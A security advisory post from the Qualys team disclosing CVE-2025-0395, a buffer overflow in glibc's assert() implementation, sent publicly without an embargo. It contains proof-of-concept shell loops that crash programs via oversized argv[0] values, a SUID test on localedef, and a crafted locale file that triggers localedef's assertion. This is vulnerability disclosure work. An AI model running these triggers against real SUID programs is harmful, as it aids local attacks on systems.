Hi all, On January 10, 2025, we contacted the GNU C Library's security team about a buffer overflow that we discovered in assert()'s implementation (CVE-2025-0395). Because this vulnerability seems relatively minor (for reasons detailed below), it was decided that it could be discussed and patched publicly, without an embargo.
Today (January 22, 2025) a Bugzilla entry and a patch proposal for this vulnerability have been published: https://sourceware.org/bugzilla/show_bug.cgi?id=32582 https://patchwork.sourceware.org/project/glibc/list/?series=43300 https://sourceware.org/pipermail/libc-alpha/2025-January/164164.html https://sourceware.org/pipermail/libc-alpha/2025-January/164165.html https://sourceware.org/pipermail/libc-alpha/2025-January/164166.html For more details and a proof of concept, below are the two emails that we sent to the GNU C Library's security team. We are of course at your disposal for questions, comments, and further discussions. Thank you very much! With best regards, -- the Qualys Security Advisory team ======================================================================== While looking into commit 6f0ea84 ("assert: Remove the use of %n from __assert_fail_base (BZ #32456)"), we spotted an mmap-based buffer overflow in assert() (more precisely, in __assert_fail_base()), introduced in 2011 by commit f8a3b5b ("Use mmap for allocation of buffers used for __abort_msg"): ------------------------------------------------------------------------ 356 struct abort_msg_s 357 { 358 unsigned int size; 359 char msg[0]; 360 }; ------------------------------------------------------------------------ 68 total = (total + 1 + GLRO(dl_pagesize) - 1) & ~(GLRO(dl_pagesize) - 1); 69 struct abort_msg_s *buf = __mmap (NULL, total, PROT_READ | PROT_WRITE, 70 MAP_ANON | MAP_PRIVATE, -1, 0); 71 if (__glibc_likely (buf != MAP_FAILED)) 72 { 73 buf->size = total; 74 strcpy (buf->msg, str); ------------------------------------------------------------------------ - at lines 68-70, a buffer buf is mmap()ed for a copy of the string str and its terminating null byte (total + 1 bytes), plus possible padding (to a multiple of the page size); - but at line 73, an extra, unaccounted-for unsigned int (size) is also written into this mmap()ed buf; - so at line 74, the strcpy() overflows buf with the last bytes of str (an off-by-one, two, three, or four bytes (the sizeof unsigned int), depending on the padding size). Because the string str includes __progname (the basename() of argv[0]), a local attacker can ensure that the padding at line 68 is minimal and can overflow the buffer buf at line 74 (and this works even against a SUID program that contains an assertion failure). Exploitation of this vulnerability looks difficult, but cannot be ruled out completely: - a SUID program that contains a reachable assertion failure is needed; - the buffer overflow is mmap-based, and at most an off-by-four bytes; - the attacker does not control the four bytes that overflow the buffer; - the program is about to die (assert() calls abort(), eventually). Important note: __libc_message_impl() in sysdeps/posix/libc_fatal.c is also vulnerable to a very similar buffer overflow. To validate our findings, we first used the following proof of concept: ------------------------------------------------------------------------ $ cat > poc.c << "EOF" #include <assert.h> int main(const int argc, const char * const argv[]) { assert(argc < 3); return 0; } EOF $ gcc -o poc poc.c $ ./poc one two poc: poc.c:5: main: Assertion `argc < 3' failed. Aborted $ wc << "EOF" : poc.c:5: main: Assertion `argc < 3' failed. EOF 1 8 46 $ while true; do P="$(((1 + RANDOM % 32) * 4096))" L="$((P - (46 + 1)))" A="$(perl -e "print 'a' x $L")" (exec -a "$A" ./poc one two 2>/dev/null) if test "$?" -ne "$((128 + 6))"; then echo "$L" break fi done Aborted Aborted Aborted Aborted Aborted Aborted Aborted Aborted Segmentation fault 94161 ------------------------------------------------------------------------ Next, to validate these findings in a more realistic scenario, we searched for an assertion failure in one of the programs that are installed by default on Linux; we found one in localedef, which is not SUID but is part of the glibc itself ("./fi_FI", which is attached to this email, is a modified version of the example in "man localedef"): ------------------------------------------------------------------------ $ /usr/bin/localedef -f UTF-8 -i ./fi_FI ./fi_FI.UTF-8 [warning] No definition for LC_CTYPE category found [warning] No definition for LC_NUMERIC category found [warning] No definition for LC_TIME category found localedef: programs/ld-collate.c:1886: collate_finish: Assertion `ruleidx <= 128' failed. Aborted $ wc << "EOF" : programs/ld-collate.c:1886: collate_finish: Assertion `ruleidx <= 128' failed. EOF 1 8 81 $ while true; do P="$(((1 + RANDOM % 32) * 4096))" L="$((P - (81 + 1)))" A="$(perl -e "print 'a' x $L")" (exec -a "$A" localedef -f UTF-8 -i ./fi_FI ./fi_FI.UTF-8 2>/dev/null) if test "$?" -ne "$((128 + 6))"; then echo "$L" break fi done Aborted Aborted Aborted Aborted Aborted Aborted Aborted Aborted Aborted Aborted Segmentation fault 85934 ------------------------------------------------------------------------ Last, to double-check that this attack also works even against a SUID program, we temporarily set the SUID bit of localedef: ------------------------------------------------------------------------ # chmod u+s /usr/bin/localedef ------------------------------------------------------------------------ $ while true; do P="$(((1 + RANDOM % 32) * 4096))" L="$((P - (81 + 1)))" A="$(perl -e "print 'a' x $L")" (exec -a "$A" localedef -f UTF-8 -i ./fi_FI ./fi_FI.UTF-8 2>/dev/null) if test "$?" -ne "$((128 + 6))"; then echo "$L" break fi done Aborted Aborted Aborted Aborted Aborted Aborted Aborted Aborted Aborted Aborted Segmentation fault 44974 ------------------------------------------------------------------------ # chmod u-s /usr/bin/localedef ------------------------------------------------------------------------ As we are currently working on several other projects in parallel, we have not tried to find a real-world vulnerable SUID program. ======================================================================== Just a quick update: On Fri, Jan 10, 2025 at 11:01:12PM +0000, Qualys Security Advisory wrote: > Important note: __libc_message_impl() in sysdeps/posix/libc_fatal.c is > also vulnerable to a very similar buffer overflow. Although __libc_message() is in theory vulnerable to the same buffer overflow as assert(), we double-checked and __libc_message()'s callers (__libc_fatal(), __fortify_fail(), malloc_printerr(), and assert()s that are internal to the glibc) never include attacker-controlled or long- enough strings to trigger this buffer overflow in practice (it should probably still be fixed, however). So only assert() calls that come from outside the glibc are vulnerable to this buffer overflow (because __progname is attacker-controlled).
comment_char % escape_char / LC_COLLATE section-symbol <XXX1> section-symbol <XXX2> section-symbol <XXX3> section-symbol <XXX4> section-symbol <XXX5> section-symbol <XXX6> section-symbol <XXX7> section-symbol <XXX8> section-symbol <XXX9> section-symbol <XXX10> section-symbol <XXX11> section-symbol <XXX12> section-symbol <XXX13> section-symbol <XXX14> section-symbol <XXX15> section-symbol <XXX16> section-symbol <XXX17> section-symbol <XXX18> section-symbol <XXX19> section-symbol <XXX20> section-symbol <XXX21> section-symbol <XXX22> section-symbol <XXX23> section-symbol <XXX24> section-symbol <XXX25> section-symbol <XXX26> section-symbol <XXX27> section-symbol <XXX28> section-symbol <XXX29> section-symbol <XXX30> section-symbol <XXX31> section-symbol <XXX32> section-symbol <XXX33> section-symbol <XXX34> section-symbol <XXX35> section-symbol <XXX36> section-symbol <XXX37> section-symbol <XXX38> section-symbol <XXX39> section-symbol <XXX40> section-symbol <XXX41> section-symbol <XXX42> section-symbol <XXX43> section-symbol <XXX44> section-symbol <XXX45> section-symbol <XXX46> section-symbol <XXX47> section-symbol <XXX48> section-symbol <XXX49> section-symbol <XXX50> section-symbol <XXX51> section-symbol <XXX52> section-symbol <XXX53> section-symbol <XXX54> section-symbol <XXX55> section-symbol <XXX56> section-symbol <XXX57> section-symbol <XXX58> section-symbol <XXX59> section-symbol <XXX60> section-symbol <XXX61> section-symbol <XXX62> section-symbol <XXX63> section-symbol <XXX64> section-symbol <XXX65> section-symbol <XXX66> section-symbol <XXX67> section-symbol <XXX68> section-symbol <XXX69> section-symbol <XXX70> section-symbol <XXX71> section-symbol <XXX72> section-symbol <XXX73> section-symbol <XXX74> section-symbol <XXX75> section-symbol <XXX76> section-symbol <XXX77> section-symbol <XXX78> section-symbol <XXX79> section-symbol <XXX80> section-symbol <XXX81> section-symbol <XXX82> section-symbol <XXX83> section-symbol <XXX84> section-symbol <XXX85> section-symbol <XXX86> section-symbol <XXX87> section-symbol <XXX88> section-symbol <XXX89> section-symbol <XXX90> section-symbol <XXX91> section-symbol <XXX92> section-symbol <XXX93> section-symbol <XXX94> section-symbol <XXX95> section-symbol <XXX96> section-symbol <XXX97> section-symbol <XXX98> section-symbol <XXX99> section-symbol <XXX100> section-symbol <XXX101> section-symbol <XXX102> section-symbol <XXX103> section-symbol <XXX104> section-symbol <XXX105> section-symbol <XXX106> section-symbol <XXX107> section-symbol <XXX108> section-symbol <XXX109> section-symbol <XXX110> section-symbol <XXX111> section-symbol <XXX112> section-symbol <XXX113> section-symbol <XXX114> section-symbol <XXX115> section-symbol <XXX116> section-symbol <XXX117> section-symbol <XXX118> section-symbol <XXX119> section-symbol <XXX120> section-symbol <XXX121> section-symbol <XXX122> section-symbol <XXX123> section-symbol <XXX124> section-symbol <XXX125> section-symbol <XXX126> section-symbol <XXX127> section-symbol <XXX128> section-symbol <XXX129> section-symbol <XXX130> section-symbol <XXX131> section-symbol <XXX132> section-symbol <XXX133> section-symbol <XXX134> section-symbol <XXX135> section-symbol <XXX136> section-symbol <XXX137> section-symbol <XXX138> section-symbol <XXX139> section-symbol <XXX140> section-symbol <XXX> script <HAN> order_start <HAN>;forward;forward;forward;forward;forward;forward;forward;forward <U4E00> <U4E00> order_end reorder-sections-after <XXX/>> <XXX/>>forward;forward;forward;forward;forward;forward;forward;forward <XXX140/>>forward;backward;backward;backward;backward;backward;backward;backward <XXX139/>>backward;forward;backward;backward;backward;backward;backward;backward <XXX138/>>forward;forward;backward;backward;backward;backward;backward;backward <XXX137/>>backward;backward;forward;backward;backward;backward;backward;backward <XXX136/>>forward;backward;forward;backward;backward;backward;backward;backward <XXX135/>>backward;forward;forward;backward;backward;backward;backward;backward <XXX134/>>forward;forward;forward;backward;backward;backward;backward;backward <XXX133/>>backward;backward;backward;forward;backward;backward;backward;backward <XXX132/>>forward;backward;backward;forward;backward;backward;backward;backward <XXX131/>>backward;forward;backward;forward;backward;backward;backward;backward <XXX130/>>forward;forward;backward;forward;backward;backward;backward;backward <XXX129/>>backward;backward;forward;forward;backward;backward;backward;backward <XXX128/>>forward;backward;forward;forward;backward;backward;backward;backward <XXX127/>>backward;forward;forward;forward;backward;backward;backward;backward <XXX126/>>forward;forward;forward;forward;backward;backward;backward;backward <XXX125/>>backward;backward;backward;backward;forward;backward;backward;backward <XXX124/>>forward;backward;backward;backward;forward;backward;backward;backward <XXX123/>>backward;forward;backward;backward;forward;backward;backward;backward <XXX122/>>forward;forward;backward;backward;forward;backward;backward;backward <XXX121/>>backward;backward;forward;backward;forward;backward;backward;backward <XXX120/>>forward;backward;forward;backward;forward;backward;backward;backward <XXX119/>>backward;forward;forward;backward;forward;backward;backward;backward <XXX118/>>forward;forward;forward;backward;forward;backward;backward;backward <XXX117/>>backward;backward;backward;forward;forward;backward;backward;backward <XXX116/>>forward;backward;backward;forward;forward;backward;backward;backward <XXX115/>>backward;forward;backward;forward;forward;backward;backward;backward <XXX114/>>forward;forward;backward;forward;forward;backward;backward;backward <XXX113/>>backward;backward;forward;forward;forward;backward;backward;backward <XXX112/>>forward;backward;forward;forward;forward;backward;backward;backward <XXX111/>>backward;forward;forward;forward;forward;backward;backward;backward <XXX110/>>forward;forward;forward;forward;forward;backward;backward;backward <XXX109/>>backward;backward;backward;backward;backward;forward;backward;backward <XXX108/>>forward;backward;backward;backward;backward;forward;backward;backward <XXX107/>>backward;forward;backward;backward;backward;forward;backward;backward <XXX106/>>forward;forward;backward;backward;backward;forward;backward;backward <XXX105/>>backward;backward;forward;backward;backward;forward;backward;backward <XXX104/>>forward;backward;forward;backward;backward;forward;backward;backward <XXX103/>>backward;forward;forward;backward;backward;forward;backward;backward <XXX102/>>forward;forward;forward;backward;backward;forward;backward;backward <XXX101/>>backward;backward;backward;forward;backward;forward;backward;backward <XXX100/>>forward;backward;backward;forward;backward;forward;backward;backward <XXX99/>>backward;forward;backward;forward;backward;forward;backward;backward <XXX98/>>forward;forward;backward;forward;backward;forward;backward;backward <XXX97/>>backward;backward;forward;forward;backward;forward;backward;backward <XXX96/>>forward;backward;forward;forward;backward;forward;backward;backward <XXX95/>>backward;forward;forward;forward;backward;forward;backward;backward <XXX94/>>forward;forward;forward;forward;backward;forward;backward;backward <XXX93/>>backward;backward;backward;backward;forward;forward;backward;backward <XXX92/>>forward;backward;backward;backward;forward;forward;backward;backward <XXX91/>>backward;forward;backward;backward;forward;forward;backward;backward <XXX90/>>forward;forward;backward;backward;forward;forward;backward;backward <XXX89/>>backward;backward;forward;backward;forward;forward;backward;backward <XXX88/>>forward;backward;forward;backward;forward;forward;backward;backward <XXX87/>>backward;forward;forward;backward;forward;forward;backward;backward <XXX86/>>forward;forward;forward;backward;forward;forward;backward;backward <XXX85/>>backward;backward;backward;forward;forward;forward;backward;backward <XXX84/>>forward;backward;backward;forward;forward;forward;backward;backward <XXX83/>>backward;forward;backward;forward;forward;forward;backward;backward <XXX82/>>forward;forward;backward;forward;forward;forward;backward;backward <XXX81/>>backward;backward;forward;forward;forward;forward;backward;backward <XXX80/>>forward;backward;forward;forward;forward;forward;backward;backward <XXX79/>>backward;forward;forward;forward;forward;forward;backward;backward <XXX78/>>forward;forward;forward;forward;forward;forward;backward;backward <XXX77/>>backward;backward;backward;backward;backward;backward;forward;backward <XXX76/>>forward;backward;backward;backward;backward;backward;forward;backward <XXX75/>>backward;forward;backward;backward;backward;backward;forward;backward <XXX74/>>forward;forward;backward;backward;backward;backward;forward;backward <XXX73/>>backward;backward;forward;backward;backward;backward;forward;backward <XXX72/>>forward;backward;forward;backward;backward;backward;forward;backward <XXX71/>>backward;forward;forward;backward;backward;backward;forward;backward <XXX70/>>forward;forward;forward;backward;backward;backward;forward;backward <XXX69/>>backward;backward;backward;forward;backward;backward;forward;backward <XXX68/>>forward;backward;backward;forward;backward;backward;forward;backward <XXX67/>>backward;forward;backward;forward;backward;backward;forward;backward <XXX66/>>forward;forward;backward;forward;backward;backward;forward;backward <XXX65/>>backward;backward;forward;forward;backward;backward;forward;backward <XXX64/>>forward;backward;forward;forward;backward;backward;forward;backward <XXX63/>>backward;forward;forward;forward;backward;backward;forward;backward <XXX62/>>forward;forward;forward;forward;backward;backward;forward;backward <XXX61/>>backward;backward;backward;backward;forward;backward;forward;backward <XXX60/>>forward;backward;backward;backward;forward;backward;forward;backward <XXX59/>>backward;forward;backward;backward;forward;backward;forward;backward <XXX58/>>forward;forward;backward;backward;forward;backward;forward;backward <XXX57/>>backward;backward;forward;backward;forward;backward;forward;backward <XXX56/>>forward;backward;forward;backward;forward;backward;forward;backward <XXX55/>>backward;forward;forward;backward;forward;backward;forward;backward <XXX54/>>forward;forward;forward;backward;forward;backward;forward;backward <XXX53/>>backward;backward;backward;forward;forward;backward;forward;backward <XXX52/>>forward;backward;backward;forward;forward;backward;forward;backward <XXX51/>>backward;forward;backward;forward;forward;backward;forward;backward <XXX50/>>forward;forward;backward;forward;forward;backward;forward;backward <XXX49/>>backward;backward;forward;forward;forward;backward;forward;backward <XXX48/>>forward;backward;forward;forward;forward;backward;forward;backward <XXX47/>>backward;forward;forward;forward;forward;backward;forward;backward <XXX46/>>forward;forward;forward;forward;forward;backward;forward;backward <XXX45/>>backward;backward;backward;backward;backward;forward;forward;backward <XXX44/>>forward;backward;backward;backward;backward;forward;forward;backward <XXX43/>>backward;forward;backward;backward;backward;forward;forward;backward <XXX42/>>forward;forward;backward;backward;backward;forward;forward;backward <XXX41/>>backward;backward;forward;backward;backward;forward;forward;backward <XXX40/>>forward;backward;forward;backward;backward;forward;forward;backward <XXX39/>>backward;forward;forward;backward;backward;forward;forward;backward <XXX38/>>forward;forward;forward;backward;backward;forward;forward;backward <XXX37/>>backward;backward;backward;forward;backward;forward;forward;backward <XXX36/>>forward;backward;backward;forward;backward;forward;forward;backward <XXX35/>>backward;forward;backward;forward;backward;forward;forward;backward <XXX34/>>forward;forward;backward;forward;backward;forward;forward;backward <XXX33/>>backward;backward;forward;forward;backward;forward;forward;backward <XXX32/>>forward;backward;forward;forward;backward;forward;forward;backward <XXX31/>>backward;forward;forward;forward;backward;forward;forward;backward <XXX30/>>forward;forward;forward;forward;backward;forward;forward;backward <XXX29/>>backward;backward;backward;backward;forward;forward;forward;backward <XXX28/>>forward;backward;backward;backward;forward;forward;forward;backward <XXX27/>>backward;forward;backward;backward;forward;forward;forward;backward <XXX26/>>forward;forward;backward;backward;forward;forward;forward;backward <XXX25/>>backward;backward;forward;backward;forward;forward;forward;backward <XXX24/>>forward;backward;forward;backward;forward;forward;forward;backward <XXX23/>>backward;forward;forward;backward;forward;forward;forward;backward <XXX22/>>forward;forward;forward;backward;forward;forward;forward;backward <XXX21/>>backward;backward;backward;forward;forward;forward;forward;backward <XXX20/>>forward;backward;backward;forward;forward;forward;forward;backward <XXX19/>>backward;forward;backward;forward;forward;forward;forward;backward <XXX18/>>forward;forward;backward;forward;forward;forward;forward;backward <XXX17/>>backward;backward;forward;forward;forward;forward;forward;backward <XXX16/>>forward;backward;forward;forward;forward;forward;forward;backward <XXX15/>>backward;forward;forward;forward;forward;forward;forward;backward <XXX14/>>forward;forward;forward;forward;forward;forward;forward;backward <XXX13/>>backward;backward;backward;backward;backward;backward;backward;forward <XXX12/>>forward;backward;backward;backward;backward;backward;backward;forward <XXX11/>>backward;forward;backward;backward;backward;backward;backward;forward <XXX10/>>forward;forward;backward;backward;backward;backward;backward;forward <XXX9/>>backward;backward;forward;backward;backward;backward;backward;forward <XXX8/>>forward;backward;forward;backward;backward;backward;backward;forward <XXX7/>>backward;forward;forward;backward;backward;backward;backward;forward <XXX6/>>forward;forward;forward;backward;backward;backward;backward;forward <XXX5/>>backward;backward;backward;forward;backward;backward;backward;forward <XXX4/>>forward;backward;backward;forward;backward;backward;backward;forward <XXX3/>>backward;forward;backward;forward;backward;backward;backward;forward <XXX2/>>forward;forward;backward;forward;backward;backward;backward;forward <XXX1/>>backward;backward;forward;forward;backward;backward;backward;forward reorder-sections-end END LC_COLLATE